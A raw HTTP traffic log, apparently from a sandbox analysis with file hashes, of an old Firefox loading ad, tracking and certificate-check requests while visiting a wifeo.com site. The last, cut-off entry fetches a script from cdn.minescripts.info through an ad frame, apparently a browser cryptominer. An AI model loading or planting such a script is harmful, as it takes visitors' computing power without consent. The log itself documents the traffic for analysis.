GET /adfscript/?bn=21309103;rtbwp=WoLwAAAOdzQKGI-NAAEa1YL_sjAZppZh5XiTXg;rtbdata=x-QconeWRJpxwDvr0OWHi-yyTRtv5y2pxjmhnbc_HYf1A5T3MwZy57QfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hBoF1ovLTSa1sUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&num=1&sig=AOD64_2N-eZttHoTa1h3c12AmgkpxQPwLg&client=ca-pub-5439285203515723&adurl= HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:41 GMT Content-Length: 1557 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: C=1; expires=Tue, 13-Mar-2018 14:02:41 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 1557 Md5: 8f36f377196da67f426ca80fc9bc82cf Sha1: c31a71d1832fefbb744c9af5e27aa1659cbb8f9a Sha256: f450cccb7e50fd42646676eec3839f6fbeaed2fc8423f1cff7307251fb7b397e
GET /dbm/ad?dbm_c=AKAmf-AQ7uQTK6Y3BXPwcPOijzJLpc5QWvIWDsvc06a-ymETLveQJ_D1iB7pudsOps0x6h39xuQ0&dbm_d=AKAmf-CU3de9-V7BBeTGaHBvdvjRFynRkXr6KSHBD6jVV-mQHiS1LjmKZocdZMeO7h5IoBkQxILN5KdmVIKbVbK7u_ZDP11qCuwP0GJjOKvjWH7feXch2hkBfsTwdz7oeZ0xsgx7iebdw4MhOfxEzCeQUQElYQaQh8iZ_VXFwCRTbiO9RKaOyNoFMsWrZejBPpE36LNfdxuA7nIbEzgmhXIoXQSTv1ZNn60pvY9mDAu02szuiPv85gVnD8fg1xq3ii_t6JjZO6QoE0vQZzDHJ0Gs7hLiCey1jYrYHhoxkwbG9Gi9X7mPI8OshZi8NJl-WIwXMt7JvKwIpPkgyOltMUuv5aQfgv5H2E0aI_tGBsneYJGbzgd4Gdsf-l4INzf--Jp4HUH6sucbWrrFye9kPEN1eGXg9mOe8w7_KK3e8RUuccQdw4tiDfUwErkQsBUlyDSm4gps804lEBUNJGyv4EsfhAVXf_7j4CnpZMo8Uxry2vjJsK21LO18eRMsHqJZN80Tyw7rjXm4wVzQMrhRvt-tzk0ZRz5sGfNYY8la4bGfWgKrqzogEJKie5LKk4NMaHr5JSDpLP9oUI-GaRBjwe_b5VC0NALyz2ivwlKZGfw2zRiQgDfYnuc855grfyqc_uf7VC60aHgva-r__FFxROLdTo-3ScwJHflWEcJ4qXNTHGWgbqcRDUUi78DUzt39LtE8NCDaCwJvnmW4L8TnV79aY_WZqkwcoM3P6pAxaOvQBdz4rD11JwiQXAit_QTfi3revowP2vc_uSvEreoUtuT_XwBm9Gp9iHTD_aB4ggNjZMUk2TGXNP-4M7PQi8rge413WKmptXT5p9T9Ph2U4ytXU9BAuyIRNkhXw5vmMgVxkHJ0fh4sZKT96IYD8tY-6PFWE_vyTnsnGJL8wQNNns9_GasCE4HMk4ZeI-VWTuykRrSeNqqXl4WFP3cQ0cny3AR6cqG4DlNpeDQQHGWDZUlKipzsYTVktXsaK_FNks5nD1YLrPXsBhmNDm0fVYqVSpzZLJLNeosgk85uM9Pn12-RP8S0g_9K-XfdkwhfZbxvDUr518UpP3h-VHDVmLImnwdUPa2DlJ0jie6bwDHA1iO4CjpSph8W_6KJCR_CcZUXSQ_ylFzZPR0EhM-yvl70djwTrkmBjpR41aFZ7ohlFQZ0MaEnlM-MILDRuSdjRG8L-dPGaA-ky8U2RbTZHtKt1OsxrnOQWVqR1oxc4qzKU0Dfscsz2gwtZD3EOQvhpCbtp4QG6YEdEhjHSVM8S5CVPSdrVlmRd6QNOpQgEWYGzmIy1Lcwlm3AgnHEl4gqQiU8dQMtl7WPhytPKuZWArJCXwtxxsH-w3hHe_IFDJpTrBPaF3wgSagQ0wlsfRrXvZ1gJpzYFIYa1OA3D1ORoIxGK3wd7hlOwrBN9oN1JCQCKCH7oB3O9zFo1yEfY7a13nqyfBqujNL-3InexkKXFiVViblG-FWvliZbL-65gpOQ0bQucQv0TmhKlyjhhpxNtiHNEQ6rRTZLa71R-mIacBT1K8HNkttVcaqI1Gmc5uASmcMF22-ZaV4pWmYZdGoPeEawxyPPvUgPT4nZxX6JXe--h-20sUpLHYICKILit9yQkcFtaPCgPYQ3FRHDlxRoOuh1ZTCNwP8puDg&cid=CAASBORoCbo&rfl=3%2C%2Chttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%240 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe X-XSS-Protection: 1; mode=block Set-Cookie: IDE=AHWqTUmlC3OmS97PO7IoOEVlyUMMKUewC4_WKt-3qAaSAuiQN6HvIXnn3x8Auxmr; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 10917 Md5: 22eded2356288702884d6568dc0a6f07 Sha1: 0e435ed73601f74cec5bf2e0506837026dce0490 Sha256: 7e888c68928f5be110707ec659aeae0eb057a828a05118a56828fefacc3ea7d2
GET /pagead/js/lidar.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 13:53:37 GMT Expires: Tue, 13 Feb 2018 14:53:37 GMT Etag: 6831844447556634063 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 34299 X-XSS-Protection: 1; mode=block Age: 544 Cache-Control: public, max-age=3600 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 34299 Md5: 4af480d154ceb9d4226b2a21f80b6b9e Sha1: 514b804d0a119a0063bfc1d9e20f7b7c7004d80c Sha256: e45497d04a8eb2999ade55e5f45265811efc3e5ab7eaf6929db863b133d6f181
GET /stoat/607/s1.adform.net/bootstrap.js HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	37.157.6.234 HTTP/1.1 200 OK Content-Type: text/javascript Server: nginx Date: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Vary: Accept-Encoding Access-Control-Allow-Origin: * Last-Modified: Wed, 07 Feb 2018 15:24:23 GMT Cache-Control: public, max-age=100000 Expires: Wed, 14 Feb 2018 17:49:03 GMT X-Cache-Status: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 13691 Md5: 7dff8bc845f03fef9414515e1e823030 Sha1: ad7ce3dac1e6eefe12829d27e4a9d2b1ea8eaa3a Sha256: fc5f373371abfa589671c2a31ae4d5711c0507b578cef62f7eb12d8c836d0bf9
GET /pcs/view?xai=AKAOjsslMn2WShmgwPI-Nj-jbqy3P9sGzt1c8Ld_wT9h_KvTUWlaqNj09AU0s8bbEgelnuv2udgF30B4yO4xapZ4sgbzHFopVFPlKz2pj3CUsURt9TtqX54OTSTVilXpr3t55U7UyjT1Dc8XMgzzzJxLPMgLE2b5OFSjP6Xc6kEM-kGW4EH-Ti3fVgSsLtuJbET_fqev4H6gsL-ERqZ7MddXWiEp2kAJNig1uf3U2NzZbmhtiCXrTPH_G2g2Px44ZNpeBPi-wnmc-ZvS2AWUc6adz5wgp9sEfKDY-X3QzEI1X3Ko9TJ53V1lgtOwp0sAyzKRFEsUmhmySgueM2v_ILcRF1FPMYnDOAuAgmNNHEwMIxbF3oMYN7QYVhDKgO2Z7_FiqwM66bzk3UYC1PUJOMeOZnwZ-rcW0uW2fCrRuBjWqrAYfU_T16QFqbUs0Fpr0HYuOgMCLCvCtp8AxJ7DC2EAEKIUO8l0xLVhvtTra-njs_HUU5W5E5ncHFFHHyNhckimfDBmM1K-XfNBmae_myDmARQe2hbl34urUl11iUlGtSA-gjLOxwgRVLMMIhoiNIyn4AXd-vCSANw3vu4v3tmYQFq7nkrBuHK6VG9ASzXLQlVHJFwUk2cGOA-uIdfslLBxAS4pLbg0mjSGCANtQN8023vdGoJsUC9a2brIC1YGZKWkOvovA81H9PAlmhVrn1N2sV63o-VwKQPH1gPCe0QJaNWPLgRtAJvST2hhXkzdVfA204rNFB-Agt-SjHIHn1Nf1PoiLQNBnaIjvgB6qje-hu0yLrCCXQrFf1F5ZdKc2K2ucxc3mSmRi1X5CalifSQ&sai=AMfl-YR3IJkejPzp3_XNsVTmZIlDLIXE-Glq4wZCFi40GHB4EbaTMHW7uUPyGVVb9XOhGwM9xNb2OfnKNjPOIbVFEGu3NhX_lzqb&sig=Cg0ArKJSzCaLGOvj4PcEEAE&urlfix=1&adurl= HTTP/1.1 Host: googleads4.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 Cookie: IDE=AHWqTUnn2NtYWl1hZdKDFQWtlBKeVpNX62MFUtF1iTm6eK6fGtFI8OdXNF2X6wUB	216.58.209.130 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cache-Control: private X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:42 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:42 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 17:56:39 GMT Expires: Mon, 19 Feb 2018 17:56:39 GMT Etag: 6E1390A0BD1EA29D9D3CAFC2B28D81858CED524B Cache-Control: max-age=531836,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp15 Content-Length: 278 Connection: close --- Additional Info --- Magic: data Size: 278 Md5: c9d0f8a0c103fd3f76a3231d292019e3 Sha1: 6e1390a0bd1ea29d9d3cafc2b28d81858ced524b Sha256: c2561fc07b4706316266d5a4d9b40e09479226c56d94d7fc92effeb96bf25de1
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:42 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: 8E242477BF0882B1319BC4C53887CEDD2AF131E2 Cache-Control: max-age=508690,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 313 Connection: close --- Additional Info --- Magic: data Size: 313 Md5: f5c0f9572b3e8f64a0cbc1a07f453401 Sha1: 8e242477bf0882b1319bc4c53887cedd2af131e2 Sha256: 32ad01098f31aba2f0060dc68180378325772eea6370174e99e0d1f6131978f4
POST / HTTP/1.1 Host: rc.symcd.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	23.52.27.27 HTTP/1.1 200 OK Content-Type: application/ocsp-response Server: nginx/1.12.2 Content-Length: 1034 Content-Transfer-Encoding: binary Cache-Control: max-age=350825, public, no-transform, must-revalidate Last-Modified: Sat, 10 Feb 2018 15:25:41 GMT Expires: Sat, 17 Feb 2018 15:25:41 GMT Date: Tue, 13 Feb 2018 14:02:42 GMT Connection: keep-alive --- Additional Info --- Magic: data Size: 1034 Md5: baf34d986c00b66407375ac23eec7499 Sha1: 4451f614115ab7a166b37973aafa4dcae9e2a93f Sha256: ac2f7c04a4378ed2d8a2a21de045d89445cf8eab3c7bf989ea332c181f7c56b2
GET /pixel?google_nid=appnexus&google_cm&google_sc&google_dbm HTTP/1.1 Host: cm.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh Cookie: IDE=AHWqTUk7nlTwsCZJsywhq8F0q-VgiwOsjyuPuOg16EODOLz1w_iPn625OCBie-zK	216.58.209.130 HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ib.adnxs.com/setuid?entity=101&code=CAESELLkQuC2aJgjs93znAnFf2A&google_cver=1 Date: Tue, 13 Feb 2018 14:02:42 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Server: HTTP server (unknown) Content-Length: 290 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: HTML document text Size: 290 Md5: 78f117d56eb092eec05f3bd8aa9ca973 Sha1: 6dbf03572fb90e63e42ce832c31da8763f8fbeed Sha256: 7960f267fcb48949682d670f1e47643169c5af59e8929ea1d35f2cf36e5c3c34
GET /pagead/js/r20180207/r20110914/activeview/osd_listener.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Wed, 07 Feb 2018 15:02:16 GMT Expires: Wed, 21 Feb 2018 15:02:16 GMT Etag: 4319863517479632446 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 29527 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 514826 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 29527 Md5: cb7c5d42c8b00cdec8b3bfb65909c20b Sha1: df39b61e2fd957f8b9ade02e65c59ec51cec5c46 Sha256: 03d445b71e38084066abf9967c78418aaac7f1617d7251bd648485f07c6379e0
GET /c/NDj2.js HTTP/1.1 Host: cdn.minescripts.info User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C1918